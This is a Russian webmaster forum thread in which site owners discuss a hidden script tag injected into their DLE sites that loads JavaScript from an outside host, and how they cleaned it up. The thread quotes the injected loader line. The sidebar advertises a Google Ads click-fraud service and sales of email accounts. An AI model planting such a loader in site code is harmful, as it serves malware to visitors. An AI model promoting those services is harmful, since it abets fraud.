Кто находил у себя это?
Страницы: 1
Кто находил у себя это?, ...
В общем время от времени яндекс сигналит что сайты вирусные у меня, причем по одному клеймит затем пишет что здоров, потом опять заклеймит какойнить потом опять типо здоров. Вот что нашел у себя в коде одного из сайтов, когда заходишь как админ, этот код уже не отображается.
Я незнаю вирус этот или нет 

Код
<script src="http://wwwsssaaa.itsAOL.com/showforum.php?pid=54543" type="text/javascript"></script>
вирус ищите в файлах вашего сайта
у меня левые ссылки были когда по глупости нуллед модуль для джумлы пуставил. С тех пор использую модули либо из проверенных источников либо покупаю
Коттеджи в Новосибирске
Бесплатные сайты для представителей Эйвон, Орифлейм, Фаберлик и других МЛМ-компаний
Проверил все тотал командером, искомые фразы нигде не найдены, отдельно прбовал адрес и части кода искать.
Эта дрянь на всех сайтах, хозяева парсера мб чтото мутят, опять придется все сайты чистить и менять пароли.
Почистил 8 основных сайтов, вирусы были на каждом сайте в разных папках, но на каждом новом сайте он был только в одной папке а не вразных местах, в общем в двух сайтах он был в папке   engine/modules  , на трех сайтах был в папке    engine/classes , два сайта были чистыми, и на донм был вирус в папке language (корневая директория), сайты мои на дле, чистил так, удалял все, распаковывал чистый двиг, затем восстанавливал все кроме зараженной папки, вконце чистки у каждого сайта сделал бэкап папок engine на случай если вернутся вирусы, у одного сайта бэкапнул папку   language. В каких именно файлах он я искать не стал, так как лень прочесывать все файлы, вирус был в неважных файлах так что я просто их заменил на чистые.
Пока писал вспомнил что не удалил инсталы, так что не забываем удалять install.php
Цитата
Krol пишет:
Пока писал вспомнил что не удалил инсталы, так что не забываем удалять install.php
не только в этом дело, если DLE, то там есть дыра, чтобы закрыть доступ нужно переименовать admin.php , причем так серьезно переименовать
Цитата
Krol пишет:
В общем время от времени яндекс сигналит что сайты вирусные у меня, причем по одному клеймит затем пишет что здоров, потом опять заклеймит какойнить потом опять типо здоров. Вот что нашел у себя в коде одного из сайтов, когда заходишь как админ, этот код уже не отображается.
Я незнаю вирус этот или нет

Код
 <script src="wwwsssaaa.itsAOL.com/showforum.php?pid=54543" type="text/javascript"></script> 
тоже было)над поставить права на .htaccess 444
Цитата
Вадим Маковский пишет:
тоже было)над поставить права на .htaccess 444
Сейчас сам движок проверяет (права 444)  и если не установлено сообщает об этом.
У меня такая же проблема, плохо, что вы код вируса не выложили. Мне бы сейчас было не сложно найти его у себя на сайтах. smile:confused:
Страницы: 1
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
21:49 Как правильно покупать ссылки для поддомена? 
18:51 Роскомнадзор отказал в регистрации трети блогеров-десятитысячников 
12:53 где много готовых фавиконок 
22:59 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 
12:32 «Хлебные крошки» в адресе сайтов исчезнут из результатов поиска Google 
23:27 Adfinity - Ваш надежный партнер в монетизации трафика 
16:55 Инструменты для массового постинга в WordPress 
05:16 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 
01:53 Европейский эквайринг 
20:19 GoogleWalker - устранение конкурентов в Google Ads | Автоматизированная система склика | АНТИБАН 
16:39 Продам аккаунты Gmail USA IP | Gmail MIX IP | Outlook Old 
11:07 Мобильные и Резидентные Прокси Для Соц Сетей | 3 Гб Бесплатно 
11:01 Защитим твой ресурс от блокировки Роскомнадзора 
10:09 BestChange – обменивать электронную валюту можно быстро и выгодно 
23:52 Ням-ням! - 8 деликатесов, которые когда-то ели только бедные люди 
07:48 США готовят закон для уничтожения пиратских сайтов во всех странах мира 
02:50 Точные прогнозы на футбол 
02:10 [Новая партнерка] Goldbet Partners — прямой рекламодатель одноименного казино Goldbet 
21:19 С юмором по жизни! 
18:15 Telegram уничтожил официальный канал легендарного российского торрент-трекера 
18:19 Уникальный сервис SEO продвижения